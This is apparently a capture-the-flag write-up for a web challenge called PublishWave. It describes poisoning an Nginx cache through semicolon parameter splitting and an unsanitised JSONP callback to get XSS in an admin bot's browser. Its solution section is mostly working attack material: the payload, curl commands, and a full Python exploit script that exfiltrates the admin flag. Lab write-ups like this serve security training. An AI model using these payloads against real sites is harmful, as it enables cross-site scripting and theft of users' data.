PublishWave — XSS via HTTP Cache Poisoning
PublishWave — XSS via HTTP Cache Poisoning
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cache_poisoning_via_unkeyed_parameter, jsonp_callback_injection, same_origin_exfiltration, semicolon_parameter_splitting
Summary
Walkthrough of the CUSTOM Web PublishWave — XSS via HTTP Cache Poisoning. Task: PublishWave CMS with JSONP localization endpoint behind Nginx cache that excludes UTM params from cache keys. Solution: Exploit semicolon parameter splitting discrepancy between Nginx and Expres
Description
PublishWave is a content management platform used by digital publishers to manage and serve articles to readers worldwide. The platform implements regional content personalization through a JSONP-style localization endpoint and uses aggressive caching to optimize performance for high-traffic pages and static resources. As a security researcher, you've been engaged to assess PublishWave's security posture. The application serves a large audience and an administrator regularly reviews the site's homepage. Your goal is to find a way to execute JavaScript in the context of the admin's browser session and retrieve their secret flag. Pay close attention to how the application caches resources and how parameters are handled across different layers.
English summary: A CMS platform with a JSONP localization endpoint (/js/localize.js?callback=...) behind an Nginx caching layer. The admin bot periodically visits the homepage, which loads the localized script. The goal is to achieve XSS in the admin's browser and exfiltrate the flag from /api/admin/flag.
Credentials: user@test.com / password123
Analysis
Application Architecture
- Backend: Express.js (Node.js)
- Reverse proxy / cache: Nginx 1.25.5
- Key endpoints:
/js/localize.js?callback=setRegionCookie— JSONP endpoint returningsetRegionCookie({region data...});/api/feedback— POST to submit feedback (triggers admin bot to visit homepage)/api/admin/flag— returns the flag (admin-only)/feedback— page displaying recent feedback entries (readable by anyone)
- Decoy flags embedded in HTML comments — must be ignored
JSONP Callback — Zero Sanitization
The /js/localize.js endpoint takes a callback parameter and wraps the JSON response with it. There is no validation or sanitization of the callback value — any JavaScript can be injected:
GET /js/localize.js?callback=alert(1)//
→ alert(1)//({region: "US", ...});
Caching Behavior
- Responses include
X-Cache: HIT/MISSheader, confirming Nginx caching Cache-Control: public, max-age=300— 5-minute TTL- HTML pages are NOT cached; only static resources like
/js/localize.jsare cached - The about page reveals: "Our caching layer intelligently excludes analytics parameters (UTM tags, click IDs) from cache keys, ensuring marketing campaigns don't fragment your cache while maintaining high hit rates."
The Critical Discrepancy: Semicolon Parameter Splitting
The two layers parse query strings differently:
| Layer | Semicolon handling | Result for utm_content=foo;callback=EVIL |
|---|---|---|
| Nginx cache | Part of the value | Single param: utm_content = foo;callback=EVIL |
| Express (qs) | Parameter separator | Two params: utm_content = foo, callback = EVIL |
Since utm_content is excluded from the cache key, the entire utm_content=foo;callback=EVIL portion is invisible to the cache. The cache key only contains callback=setRegionCookie.
But Express sees callback twice (setRegionCookie from the explicit param, and EVIL from the semicolon-split inside utm_content) and uses the last value — the attacker-controlled one.
Solution
Step 1: Craft the Cache Poisoning URL
GET /js/localize.js?callback=setRegionCookie&utm_content=foo;callback=<XSS_PAYLOAD>
Cache perspective:
- Cache key:
/js/localize.js?callback=setRegionCookie(utm_content excluded) - This maps to the same cache entry as the legitimate homepage request
Express perspective:
- Params:
callback=setRegionCookie,utm_content=foo,callback=<XSS_PAYLOAD> - Last
callbackwins → response body:<XSS_PAYLOAD>({region data...});
Step 2: XSS Payload Design
The payload fetches the admin flag and exfiltrates it via the feedback endpoint (same-origin, no CORS issues):
javascript read-only • copy allowedfetch("/api/admin/flag").then(r=>r.json()).then(d=>fetch("/api/feedback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({message:"FLAG:"+JSON.stringify(d)})}))/
The trailing // comments out the ({region data...}); suffix to prevent syntax errors.
Step 3: Race the Cache TTL
The cache has a 300-second TTL. Continuously send the poisoned request. When the cache entry expires and the request is the first to hit the backend, the malicious response gets cached:
bash read-only • copy allowed# Poison request (repeated until cache miss + poison) curl "https://TARGET/js/localize.js?callback=setRegionCookie&utm_content=foo;callback=ENCODED_PAYLOAD" # Verify poisoning curl "https://TARGET/js/localize.js?callback=setRegionCookie" # Should return: fetch("/api/admin/flag")... instead of setRegionCookie(...)
Step 4: Trigger the Admin Bot
Once the cache is poisoned, submit feedback to make the admin visit the homepage:
bash read-only • copy allowedcurl -X POST "https://TARGET/api/feedback" \ -H "Content-Type: application/json" \ -b "connect.sid=SESSION_COOKIE" \ -d '{"message": "Please review homepage"}'
The admin's browser loads the homepage → fetches /js/localize.js?callback=setRegionCookie → gets the cached poisoned response → executes the XSS → fetches /api/admin/flag → POSTs the flag to /api/feedback.
Step 5: Read the Exfiltrated Flag
Check the feedback page or API for the exfiltrated flag:
bash read-only • copy allowedcurl "https://TARGET/api/feedback" -b "connect.sid=SESSION_COOKIE" # Look for entry containing "FLAG:"
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ PublishWave — XSS via HTTP Cache Poisoning Exploits semicolon parameter splitting discrepancy between Nginx cache and Express. """ import requests import time import urllib.parse URL = "https://TARGET.labs.hackadvisor.io" COOKIES = {"connect.sid": "SESSION_COOKIE"} # XSS payload: fetch admin flag, exfiltrate via feedback endpoint PAYLOAD = ( 'fetch("/api/admin/flag")' '.then(r=>r.json())' '.then(d=>fetch("/api/feedback",' '{method:"POST",' 'headers:{"Content-Type":"application/json"},' 'body:JSON.stringify({message:"FLAG:"+JSON.stringify(d)})}))' '//' ) encoded = urllib.parse.quote(PAYLOAD, safe='') poison_url = f"{URL}/js/localize.js?callback=setRegionCookie&utm_content=foo;callback={encoded}" check_url = f"{URL}/js/localize.js?callback=setRegionCookie" print(f"[*] Starting cache poisoning...") print(f"[*] Poison URL length: {len(poison_url)}") for i in range(1, 700): try: r = requests.get(poison_url, timeout=5) xcache = r.headers.get('X-Cache', 'N/A') if 'fetch(' in r.text: print(f"[{i}] POISON HIT BACKEND! X-Cache: {xcache}") # Verify cache is actually poisoned time.sleep(0.3) check = requests.get(check_url, timeout=5) if 'fetch(' in check.text: print(f"\n[***] CACHE POISONED SUCCESSFULLY!") print(f"[*] X-Cache: {check.headers.get('X-Cache')}") print(f"[*] Response preview: {check.text[:150]}") # Trigger admin bot via feedback print(f"\n[*] Triggering admin bot...") fb = requests.post( f"{URL}/api/feedback", cookies=COOKIES, json={"message": "Homepage formatting issue - please review"}, timeout=5, ) print(f"[*] Feedback response: {fb.json()}") # Wait for admin to visit print(f"[*] Waiting 15 seconds for admin to visit homepage...") time.sleep(15) # Check feedback for exfiltrated flag print(f"\n[*] Checking feedback for exfiltrated flag...") fb_api = requests.get( f"{URL}/api/feedback", cookies=COOKIES, timeout=5 ) print(f"[*] API feedback: {fb_api.text[:500]}") break else: print(f" Cache not poisoned yet (race lost), continuing...") if i % 30 == 0: check = requests.get(check_url, timeout=5) poisoned = 'fetch(' in check.text print(f"[{i}] X-Cache: {xcache} | Check: {check.headers.get('X-Cache')} | Poisoned: {poisoned}") time.sleep(0.5) except Exception as e: print(f"[{i}] Error: {e}") time.sleep(1) print("\n[*] Done.")
Key Takeaways / Lessons
- Mastering cache_poisoning_via_unkeyed_parameter, jsonp_callback_injection, same_origin_exfiltration, semicolon_parameter_splitting was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-08 • CUSTOM • PublishWave — XSS via HTTP Cache Poisoning • Difficulty: Medium